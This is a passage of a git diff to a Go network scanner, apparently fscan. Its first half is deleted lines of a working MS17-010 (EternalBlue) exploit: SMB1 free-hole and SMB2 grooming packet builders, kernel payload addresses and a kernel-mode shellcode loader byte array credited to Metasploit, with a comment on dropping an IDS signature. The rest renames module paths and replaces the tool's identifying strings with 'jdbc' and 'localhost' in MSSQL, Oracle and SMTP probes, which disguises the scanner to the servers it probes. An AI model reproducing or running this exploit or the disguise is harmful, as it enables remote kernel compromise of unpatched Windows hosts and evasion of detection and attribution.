buf.WriteByte(0x00) - // length - buf.Write([]byte{0x00, 0x00, 0x31}) - - // --------Server Message Block Protocol-------- - // SMB1 - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // Echo - buf.WriteByte(0x2B) - // NT success - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write([]byte{0x07, 0xC0}) - // PID high - buf.Write([]byte{0x00, 0x00}) - // signature1 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // signature2 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // tree id - treeIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(treeIDBuf, treeID) - buf.Write(treeIDBuf) - // PID - buf.Write([]byte{0xFF, 0xFE}) - // user id - userIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(userIDBuf, userID) - buf.Write(userIDBuf) - // multiplex id - buf.Write([]byte{0x40, 0x00}) - - // --------Echo Request-------- - - // word count - buf.WriteByte(0x01) - // echo count - buf.Write([]byte{0x01, 0x00}) - // byte count - buf.Write([]byte{0x0C, 0x00}) - // echo data - // this is an existing IDS signature, and can be null out - buf.Write([]byte{0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x00}) - - return buf.Bytes() -} - -func smb1FreeHole(address string, start bool) (net.Conn, error) { - conn, err := net.Dial("tcp", address) - if err != nil { - return nil, fmt.Errorf("failed to connect host: %s", err) - } - var ok bool - defer func() { - if !ok { - _ = conn.Close() - } - }() - err = smbClientNegotiate(conn) - if err != nil { - return nil, fmt.Errorf("failed to negotiate: %s", err) - } - var ( - flags2 []byte - vcNum []byte - nativeOS []byte - ) - if start { - flags2 = []byte{0x07, 0xC0} - vcNum = []byte{0x2D, 0x01} - nativeOS = []byte{0xF0, 0xFF, 0x00, 0x00, 0x00} - } else { - flags2 = []byte{0x07, 0x40} - vcNum = []byte{0x2C, 0x01} - nativeOS = []byte{0xF8, 0x87, 0x00, 0x00, 0x00} - } - packet := makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS) - _, err = conn.Write(packet) - if err != nil { - const format = "failed to send smb1 free hole session packet: %s" - return nil, fmt.Errorf(format, err) - } - _, _, err = smb1GetResponse(conn) - if err != nil { - return nil, err - } - ok = true - return conn, nil -} - -func makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS []byte) []byte { - buf := bytes.Buffer{} - - // --------NetBIOS Session Service-------- - - // message type - buf.WriteByte(0x00) - // length - buf.Write([]byte{0x00, 0x00, 0x51}) - - // --------Server Message Block Protocol-------- - // SMB1 - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // Session Setup AndX - buf.WriteByte(0x73) - // NT success - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write(flags2) - // PID high - buf.Write([]byte{0x00, 0x00}) - // signature1 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // signature2 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // tree id - buf.Write([]byte{0x00, 0x00}) - // PID - buf.Write([]byte{0xFF, 0xFE}) - // user id - buf.Write([]byte{0x00, 0x00}) - // multiplex id - buf.Write([]byte{0x40, 0x00}) - - // --------Session Setup AndX Request-------- - - // word count - buf.WriteByte(0x0C) - // no further commands - buf.WriteByte(0xFF) - // reserved - buf.WriteByte(0x00) - // AndX offset - buf.Write([]byte{0x00, 0x00}) - // max buffer - buf.Write([]byte{0x04, 0x11}) - // max mpx count - buf.Write([]byte{0x0A, 0x00}) - // VC number - buf.Write(vcNum) - // session key - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // security blob length - buf.Write([]byte{0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // capabilities - buf.Write([]byte{0x00, 0x00, 0x00, 0x80}) - // byte count - buf.Write([]byte{0x16, 0x00}) - // Native OS - buf.Write(nativeOS) - // extra byte params - buf.Write(makeZero(17)) - return buf.Bytes() -} - -func smb2Grooms(address string, grooms int) ([]net.Conn, error) { - header := makeSMB2Header() - var ( - conns []net.Conn - ok bool - ) - defer func() { - if ok { - return - } - for i := 0; i < len(conns); i++ { - _ = conns[i].Close() - } - }() - for i := 0; i < grooms; i++ { - conn, err := net.Dial("tcp", address) - if err != nil { - return nil, fmt.Errorf("failed to connect target: %s", err) - } - _, err = conn.Write(header) - if err != nil { - return nil, fmt.Errorf("failed to send SMB2 header: %s", err) - } - conns = append(conns, conn) - } - ok = true - return conns, nil -} - -func makeSMB2Header() []byte { - buf := bytes.Buffer{} - buf.Write([]byte{0x00, 0x00, 0xFF, 0xF7, 0xFE}) - buf.WriteString("SMB") - buf.Write(makeZero(124)) - return buf.Bytes() -} - -const ( - packetMaxLen = 4204 - packetSetupLen = 497 -) - -func makeSMB2Body(payload []byte) []byte { - const packetMaxPayload = packetMaxLen - packetSetupLen - // padding - buf := bytes.Buffer{} - buf.Write(makeZero(0x08)) - buf.Write([]byte{0x03, 0x00, 0x00, 0x00}) - buf.Write(makeZero(0x1C)) - buf.Write([]byte{0x03, 0x00, 0x00, 0x00}) - buf.Write(makeZero(0x74)) - - // KI_USER_SHARED_DATA addresses - x64Address := []byte{0xb0, 0x00, 0xd0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} - buf.Write(bytes.Repeat(x64Address, 2)) - buf.Write(makeZero(0x10)) - x86Address := []byte{0xC0, 0xF0, 0xDF, 0xFF} - buf.Write(bytes.Repeat(x86Address, 2)) - buf.Write(makeZero(0xC4)) - - // payload address - buf.Write([]byte{0x90, 0xF1, 0xDF, 0xFF}) - buf.Write(makeZero(0x04)) - buf.Write([]byte{0xF0, 0xF1, 0xDF, 0xFF}) - buf.Write(makeZero(0x40)) - - buf.Write([]byte{0xF0, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.Write(makeZero(0x08)) - buf.Write([]byte{0x00, 0x02, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.WriteByte(0x00) - - // set payload - buf.Write(payload) - - // fill out the rest, this can be randomly generated - buf.Write(makeZero(packetMaxPayload - len(payload))) - - return buf.Bytes() -} - -func makeZero(size int) []byte { - return bytes.Repeat([]byte{0}, size) -} - -// loader is used to run user mode sc in the kernel mode. -// reference Metasploit-Framework: -// file: msf/external/source/sc/windows/multi_arch_kernel_queue_apc.asm -// binary: modules/exploits/windows/smb/ms17_010_eternalblue.rb: def make_kernel_sc -var loader = [...]byte{ - 0x31, 0xC9, 0x41, 0xE2, 0x01, 0xC3, 0xB9, 0x82, 0x00, 0x00, 0xC0, 0x0F, 0x32, 0x48, 0xBB, 0xF8, - 0x0F, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x89, 0x53, 0x04, 0x89, 0x03, 0x48, 0x8D, 0x05, 0x0A, - 0x00, 0x00, 0x00, 0x48, 0x89, 0xC2, 0x48, 0xC1, 0xEA, 0x20, 0x0F, 0x30, 0xC3, 0x0F, 0x01, 0xF8, - 0x65, 0x48, 0x89, 0x24, 0x25, 0x10, 0x00, 0x00, 0x00, 0x65, 0x48, 0x8B, 0x24, 0x25, 0xA8, 0x01, - 0x00, 0x00, 0x50, 0x53, 0x51, 0x52, 0x56, 0x57, 0x55, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, - 0x53, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x6A, 0x2B, 0x65, 0xFF, 0x34, 0x25, 0x10, - 0x00, 0x00, 0x00, 0x41, 0x53, 0x6A, 0x33, 0x51, 0x4C, 0x89, 0xD1, 0x48, 0x83, 0xEC, 0x08, 0x55, - 0x48, 0x81, 0xEC, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8D, 0xAC, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, - 0x89, 0x9D, 0xC0, 0x00, 0x00, 0x00, 0x48, 0x89, 0xBD, 0xC8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xB5, - 0xD0, 0x00, 0x00, 0x00, 0x48, 0xA1, 0xF8, 0x0F, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x89, - 0xC2, 0x48, 0xC1, 0xEA, 0x20, 0x48, 0x31, 0xDB, 0xFF, 0xCB, 0x48, 0x21, 0xD8, 0xB9, 0x82, 0x00, - 0x00, 0xC0, 0x0F, 0x30, 0xFB, 0xE8, 0x38, 0x00, 0x00, 0x00, 0xFA, 0x65, 0x48, 0x8B, 0x24, 0x25, - 0xA8, 0x01, 0x00, 0x00, 0x48, 0x83, 0xEC, 0x78, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, - 0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59, 0x41, 0x58, 0x5D, 0x5F, 0x5E, 0x5A, 0x59, 0x5B, 0x58, 0x65, - 0x48, 0x8B, 0x24, 0x25, 0x10, 0x00, 0x00, 0x00, 0x0F, 0x01, 0xF8, 0xFF, 0x24, 0x25, 0xF8, 0x0F, - 0xD0, 0xFF, 0x56, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x53, 0x55, 0x48, 0x89, 0xE5, - 0x66, 0x83, 0xE4, 0xF0, 0x48, 0x83, 0xEC, 0x20, 0x4C, 0x8D, 0x35, 0xE3, 0xFF, 0xFF, 0xFF, 0x65, - 0x4C, 0x8B, 0x3C, 0x25, 0x38, 0x00, 0x00, 0x00, 0x4D, 0x8B, 0x7F, 0x04, 0x49, 0xC1, 0xEF, 0x0C, - 0x49, 0xC1, 0xE7, 0x0C, 0x49, 0x81, 0xEF, 0x00, 0x10, 0x00, 0x00, 0x49, 0x8B, 0x37, 0x66, 0x81, - 0xFE, 0x4D, 0x5A, 0x75, 0xEF, 0x41, 0xBB, 0x5C, 0x72, 0x11, 0x62, 0xE8, 0x18, 0x02, 0x00, 0x00, - 0x48, 0x89, 0xC6, 0x48, 0x81, 0xC6, 0x08, 0x03, 0x00, 0x00, 0x41, 0xBB, 0x7A, 0xBA, 0xA3, 0x30, - 0xE8, 0x03, 0x02, 0x00, 0x00, 0x48, 0x89, 0xF1, 0x48, 0x39, 0xF0, 0x77, 0x11, 0x48, 0x8D, 0x90, - 0x00, 0x05, 0x00, 0x00, 0x48, 0x39, 0xF2, 0x72, 0x05, 0x48, 0x29, 0xC6, 0xEB, 0x08, 0x48, 0x8B, - 0x36, 0x48, 0x39, 0xCE, 0x75, 0xE2, 0x49, 0x89, 0xF4, 0x31, 0xDB, 0x89, 0xD9, 0x83, 0xC1, 0x04, - 0x81, 0xF9, 0x00, 0x00, 0x01, 0x00, 0x0F, 0x8D, 0x66, 0x01, 0x00, 0x00, 0x4C, 0x89, 0xF2, 0x89, - 0xCB, 0x41, 0xBB, 0x66, 0x55, 0xA2, 0x4B, 0xE8, 0xBC, 0x01, 0x00, 0x00, 0x85, 0xC0, 0x75, 0xDB, - 0x49, 0x8B, 0x0E, 0x41, 0xBB, 0xA3, 0x6F, 0x72, 0x2D, 0xE8, 0xAA, 0x01, 0x00, 0x00, 0x48, 0x89, - 0xC6, 0xE8, 0x50, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF9, 0xBF, 0x77, 0x1F, 0xDD, 0x75, 0xBC, 0x49, - 0x8B, 0x1E, 0x4D, 0x8D, 0x6E, 0x10, 0x4C, 0x89, 0xEA, 0x48, 0x89, 0xD9, 0x41, 0xBB, 0xE5, 0x24, - 0x11, 0xDC, 0xE8, 0x81, 0x01, 0x00, 0x00, 0x6A, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x4D, 0x8D, - 0x4E, 0x08, 0x49, 0xC7, 0x01, 0x00, 0x10, 0x00, 0x00, 0x4D, 0x31, 0xC0, 0x4C, 0x89, 0xF2, 0x31, - 0xC9, 0x48, 0x89, 0x0A, 0x48, 0xF7, 0xD1, 0x41, 0xBB, 0x4B, 0xCA, 0x0A, 0xEE, 0x48, 0x83, 0xEC, - 0x20, 0xE8, 0x52, 0x01, 0x00, 0x00, 0x85, 0xC0, 0x0F, 0x85, 0xC8, 0x00, 0x00, 0x00, 0x49, 0x8B, - 0x3E, 0x48, 0x8D, 0x35, 0xE9, 0x00, 0x00, 0x00, 0x31, 0xC9, 0x66, 0x03, 0x0D, 0xD7, 0x01, 0x00, - 0x00, 0x66, 0x81, 0xC1, 0xF9, 0x00, 0xF3, 0xA4, 0x48, 0x89, 0xDE, 0x48, 0x81, 0xC6, 0x08, 0x03, - 0x00, 0x00, 0x48, 0x89, 0xF1, 0x48, 0x8B, 0x11, 0x4C, 0x29, 0xE2, 0x51, 0x52, 0x48, 0x89, 0xD1, - 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0x26, 0x40, 0x36, 0x9D, 0xE8, 0x09, 0x01, 0x00, 0x00, 0x48, - 0x83, 0xC4, 0x20, 0x5A, 0x59, 0x48, 0x85, 0xC0, 0x74, 0x18, 0x48, 0x8B, 0x80, 0xC8, 0x02, 0x00, - 0x00, 0x48, 0x85, 0xC0, 0x74, 0x0C, 0x48, 0x83, 0xC2, 0x4C, 0x8B, 0x02, 0x0F, 0xBA, 0xE0, 0x05, - 0x72, 0x05, 0x48, 0x8B, 0x09, 0xEB, 0xBE, 0x48, 0x83, 0xEA, 0x4C, 0x49, 0x89, 0xD4, 0x31, 0xD2, - 0x80, 0xC2, 0x90, 0x31, 0xC9, 0x41, 0xBB, 0x26, 0xAC, 0x50, 0x91, 0xE8, 0xC8, 0x00, 0x00, 0x00, - 0x48, 0x89, 0xC1, 0x4C, 0x8D, 0x89, 0x80, 0x00, 0x00, 0x00, 0x41, 0xC6, 0x01, 0xC3, 0x4C, 0x89, - 0xE2, 0x49, 0x89, 0xC4, 0x4D, 0x31, 0xC0, 0x41, 0x50, 0x6A, 0x01, 0x49, 0x8B, 0x06, 0x50, 0x41, - 0x50, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0xAC, 0xCE, 0x55, 0x4B, 0xE8, 0x98, 0x00, 0x00, 0x00, - 0x31, 0xD2, 0x52, 0x52, 0x41, 0x58, 0x41, 0x59, 0x4C, 0x89, 0xE1, 0x41, 0xBB, 0x18, 0x38, 0x09, - 0x9E, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x4C, 0x89, 0xE9, 0x41, 0xBB, 0x22, 0xB7, 0xB3, 0x7D, 0xE8, - 0x74, 0x00, 0x00, 0x00, 0x48, 0x89, 0xD9, 0x41, 0xBB, 0x0D, 0xE2, 0x4D, 0x85, 0xE8, 0x66, 0x00, - 0x00, 0x00, 0x48, 0x89, 0xEC, 0x5D, 0x5B, 0x41, 0x5C, 0x41, 0x5D, 0x41, 0x5E, 0x41, 0x5F, 0x5E, - 0xC3, 0xE9, 0xB5, 0x00, 0x00, 0x00, 0x4D, 0x31, 0xC9, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, - 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xEC, 0xC3, 0x31, 0xD2, - 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x12, - 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x45, 0x31, 0xC9, 0x31, 0xC0, 0xAC, 0x3C, - 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xEE, 0x45, 0x39, - 0xD9, 0x75, 0xDA, 0x4C, 0x8B, 0x7A, 0x20, 0xC3, 0x4C, 0x89, 0xF8, 0x41, 0x51, 0x41, 0x50, 0x52, - 0x51, 0x56, 0x48, 0x89, 0xC2, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, - 0x00, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0x48, - 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0xE8, 0x78, 0xFF, 0xFF, 0xFF, 0x45, 0x39, - 0xD9, 0x75, 0xEC, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, - 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x5E, 0x59, - 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5B, 0x41, 0x53, 0xFF, 0xE0, 0x56, 0x41, 0x57, 0x55, 0x48, - 0x89, 0xE5, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0xDA, 0x16, 0xAF, 0x92, 0xE8, 0x4D, 0xFF, 0xFF, - 0xFF, 0x31, 0xC9, 0x51, 0x51, 0x51, 0x51, 0x41, 0x59, 0x4C, 0x8D, 0x05, 0x1A, 0x00, 0x00, 0x00, - 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0x46, 0x45, 0x1B, 0x22, 0xE8, 0x68, 0xFF, 0xFF, 0xFF, - 0x48, 0x89, 0xEC, 0x5D, 0x41, 0x5F, 0x5E, 0xC3, -} diff --git a/plugins/services/ms17010_test.go b/plugins/services/ms17010_test.go index 87847dfe..786b4b07 100644 --- a/plugins/services/ms17010_test.go +++ b/plugins/services/ms17010_test.go @@ -9,7 +9,7 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) func TestMS17010LegacyRequestsDecodeToSMB1Packets(t *testing.T) { diff --git a/plugins/services/mssql.go b/plugins/services/mssql.go index b26ecca6..5cda27e0 100644 --- a/plugins/services/mssql.go +++ b/plugins/services/mssql.go @@ -7,9 +7,9 @@ import ( "fmt" "strings" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // MSSQLPlugin MSSQL扫描插件 diff --git a/plugins/services/mssql_raw_test.go b/plugins/services/mssql_raw_test.go index e404b287..b59238e0 100644 --- a/plugins/services/mssql_raw_test.go +++ b/plugins/services/mssql_raw_test.go @@ -25,7 +25,7 @@ func TestMSSQLLogin7DoesNotExposeClientIdentity(t *testing.T) { t.Fatalf("client pid = %d, want 0", pid) } - for _, value := range []string{"fscan", "target-host"} { + for _, value := range []string{"jdbc", "target-host"} { if bytes.Contains(payload, mssqlUCS2(value)) { t.Fatalf("login packet contains client-identifying value %q", value) } diff --git a/plugins/services/mysql.go b/plugins/services/mysql.go index 030324f6..a00d86f8 100644 --- a/plugins/services/mysql.go +++ b/plugins/services/mysql.go @@ -14,9 +14,9 @@ import ( "time" "github.com/go-sql-driver/mysql" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) type nullWriter struct{} diff --git a/plugins/services/mysql_test.go b/plugins/services/mysql_test.go index 7ab861ee..ea6f46d7 100644 --- a/plugins/services/mysql_test.go +++ b/plugins/services/mysql_test.go @@ -11,7 +11,7 @@ import ( "time" "github.com/go-sql-driver/mysql" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) type chunkedMySQLConn struct { diff --git a/plugins/services/neo4j.go b/plugins/services/neo4j.go index b4c5fb56..f1d2f712 100644 --- a/plugins/services/neo4j.go +++ b/plugins/services/neo4j.go @@ -8,9 +8,9 @@ import ( "net/http" "strings" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // Neo4jPlugin Neo4j扫描插件 diff --git a/plugins/services/netbios.go b/plugins/services/netbios.go index 44bfcacf..956d8052 100644 --- a/plugins/services/netbios.go +++ b/plugins/services/netbios.go @@ -11,9 +11,9 @@ import ( "strings" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // NetBIOSPlugin NetBIOS名称服务扫描插件 - 收集Windows主机名和域信息 diff --git a/plugins/services/nfs.go b/plugins/services/nfs.go index cfeccd58..dba77aa1 100644 --- a/plugins/services/nfs.go +++ b/plugins/services/nfs.go @@ -9,8 +9,8 @@ import ( "io" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) type NFSPlugin struct { diff --git a/plugins/services/oracle.go b/plugins/services/oracle.go index 106132fb..62b30e27 100644 --- a/plugins/services/oracle.go +++ b/plugins/services/oracle.go @@ -6,9 +6,9 @@ import ( "context" "fmt" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // OraclePlugin Oracle扫描插件 diff --git a/plugins/services/oracle_raw.go b/plugins/services/oracle_raw.go index 21160b22..f679b858 100644 --- a/plugins/services/oracle_raw.go +++ b/plugins/services/oracle_raw.go @@ -1467,7 +1467,7 @@ func (s *oracleSession) writeAuthResponse(auth *oracleAuthObject, nego *oracleTC key string val string flag uint8 - }{"SESSION_CLIENT_DRIVER_NAME", "fscan", 0}, + }{"SESSION_CLIENT_DRIVER_NAME", "jdbc", 0}, struct { key string val string diff --git a/plugins/services/oracle_raw_test.go b/plugins/services/oracle_raw_test.go index 94d8794e..b6b13dc9 100644 --- a/plugins/services/oracle_raw_test.go +++ b/plugins/services/oracle_raw_test.go @@ -17,7 +17,7 @@ import ( func TestOracleConnectDataDoesNotExposeClientIdentity(t *testing.T) { connectData := oracleConnectData("db.example", 1521, "ORCL") - for _, value := range []string{"CID=", "PROGRAM=", "USER=", "fscan"} { + for _, value := range []string{"CID=", "PROGRAM=", "USER=", "jdbc"} { if bytes.Contains([]byte(connectData), []byte(value)) { t.Fatalf("oracle connect data contains client-identifying value %q: %s", value, connectData) } diff --git a/plugins/services/pop3.go b/plugins/services/pop3.go index a83d8a56..aaa0b36e 100644 --- a/plugins/services/pop3.go +++ b/plugins/services/pop3.go @@ -9,8 +9,8 @@ import ( "strings" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) type POP3Plugin struct { diff --git a/plugins/services/postgresql.go b/plugins/services/postgresql.go index f0761ff5..5ae73aa1 100644 --- a/plugins/services/postgresql.go +++ b/plugins/services/postgresql.go @@ -11,9 +11,9 @@ import ( "strings" _ "github.com/lib/pq" // PostgreSQL driver - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // PostgreSQLPlugin PostgreSQL扫描插件 diff --git a/plugins/services/postgresql_test.go b/plugins/services/postgresql_test.go index f7dd0bdf..428084eb 100644 --- a/plugins/services/postgresql_test.go +++ b/plugins/services/postgresql_test.go @@ -7,7 +7,7 @@ import ( "strings" "testing" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) func TestPostgreSQLConnStringEscapesIPv6AndCredentials(t *testing.T) { diff --git a/plugins/services/rabbitmq.go b/plugins/services/rabbitmq.go index 216a3011..b550c59e 100644 --- a/plugins/services/rabbitmq.go +++ b/plugins/services/rabbitmq.go @@ -12,9 +12,9 @@ import ( "strings" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // RabbitMQPlugin RabbitMQ扫描插件 diff --git a/plugins/services/rdp.go b/plugins/services/rdp.go index 73281e4f..0a13621c 100644 --- a/plugins/services/rdp.go +++ b/plugins/services/rdp.go @@ -7,12 +7,12 @@ import ( "fmt" "strings" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/libs/grdp/glog" - "github.com/shadow1ng/fscan/libs/grdp/login" - "github.com/shadow1ng/fscan/libs/grdp/protocol/x224" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/libs/grdp/glog" + "scanner/libs/grdp/login" + "scanner/libs/grdp/protocol/x224" + "scanner/plugins" ) // RDPPlugin RDP远程桌面服务扫描插件 - 真实RDP认证和系统指纹识别 diff --git a/plugins/services/rdp_test.go b/plugins/services/rdp_test.go index 442636c0..b306bd4b 100644 --- a/plugins/services/rdp_test.go +++ b/plugins/services/rdp_test.go @@ -5,7 +5,7 @@ package services import ( "testing" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common/i18n" ) func TestBuildBanner(t *testing.T) { diff --git a/plugins/services/redis.go b/plugins/services/redis.go index 34b9d4cf..c07cabbd 100644 --- a/plugins/services/redis.go +++ b/plugins/services/redis.go @@ -13,9 +13,9 @@ import ( "strings" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // RedisPlugin Redis数据库扫描和利用插件 diff --git a/plugins/services/rmi.go b/plugins/services/rmi.go index f621768f..237ba0f0 100644 --- a/plugins/services/rmi.go +++ b/plugins/services/rmi.go @@ -8,8 +8,8 @@ import ( "io" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) // Java RMI protocol magic: "JRMI" + version 2 + StreamProtocol diff --git a/plugins/services/rsync.go b/plugins/services/rsync.go index 13507527..78c20d7f 100644 --- a/plugins/services/rsync.go +++ b/plugins/services/rsync.go @@ -11,9 +11,9 @@ import ( "strings" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" "go.ciq.dev/go-rsync/rsync" ) diff --git a/plugins/services/smb.go b/plugins/services/smb.go index 8bbc86eb..3b80e35d 100644 --- a/plugins/services/smb.go +++ b/plugins/services/smb.go @@ -7,9 +7,9 @@ import ( "fmt" "strings" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // SmbPlugin 统一SMB检测插件 diff --git a/plugins/services/smb_protocol.go b/plugins/services/smb_protocol.go index 91014c44..4e387537 100644 --- a/plugins/services/smb_protocol.go +++ b/plugins/services/smb_protocol.go @@ -15,8 +15,8 @@ import ( "time" "github.com/hirochachacha/go-smb2" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common" + "scanner/common/i18n" "github.com/stacktitan/smb/smb" ) diff --git a/plugins/services/smtp.go b/plugins/services/smtp.go index dece6892..99528284 100644 --- a/plugins/services/smtp.go +++ b/plugins/services/smtp.go @@ -9,9 +9,9 @@ import ( "strings" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // SMTPPlugin SMTP扫描插件 @@ -250,7 +250,7 @@ func (p *SMTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostI } defer func() { _ = client.Quit() }() - if err := client.Hello("fscan.test"); err != nil { + if err := client.Hello("localhost"); err != nil { resultChan <- nil return } @@ -302,12 +302,12 @@ func (p *SMTPPlugin) testOpenRelay(ctx context.Context, info *common.HostInfo, s } defer func() { _ = client.Quit() }() - if err := client.Hello("fscan.test"); err != nil { + if err := client.Hello("localhost"); err != nil { resultChan <- nil return } - if err := client.Mail("test@fscan.test"); err != nil { + if err := client.Mail("test@localhost.localdomain"); err != nil { resultChan <- nil return } @@ -349,7 +349,7 @@ func (p *SMTPPlugin) testVRFYCommand(ctx context.Context, info *common.HostInfo, _ = conn.SetDeadline(time.Now().Add(session.Config.ModuleTimeout())) - if _, heloWriteErr := fmt.Fprintf(conn, "HELO fscan.test\r\n"); heloWriteErr != nil { + if _, heloWriteErr := fmt.Fprintf(conn, "HELO localhost\r\n"); heloWriteErr != nil { resultChan <- nil return } @@ -419,7 +419,7 @@ func (p *SMTPPlugin) testEXPNCommand(ctx context.Context, info *common.HostInfo, _ = conn.SetDeadline(time.Now().Add(session.Config.ModuleTimeout())) - if _, heloWriteErr := fmt.Fprintf(conn, "HELO fscan.test\r\n"); heloWriteErr != nil { + if _, heloWriteErr := fmt.Fprintf(conn, "HELO localhost\r\n"); heloWriteErr != nil { resultChan <- nil return } diff --git a/plugins/services/snmp.go b/plugins/services/snmp.go index 02a64a99..616e4480 100644 --- a/plugins/services/snmp.go +++ b/plugins/services/snmp.go @@ -9,8 +9,8 @@ import ( "strings" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) type SNMPPlugin struct { diff --git a/plugins/services/snmp_test.go b/plugins/services/snmp_test.go index 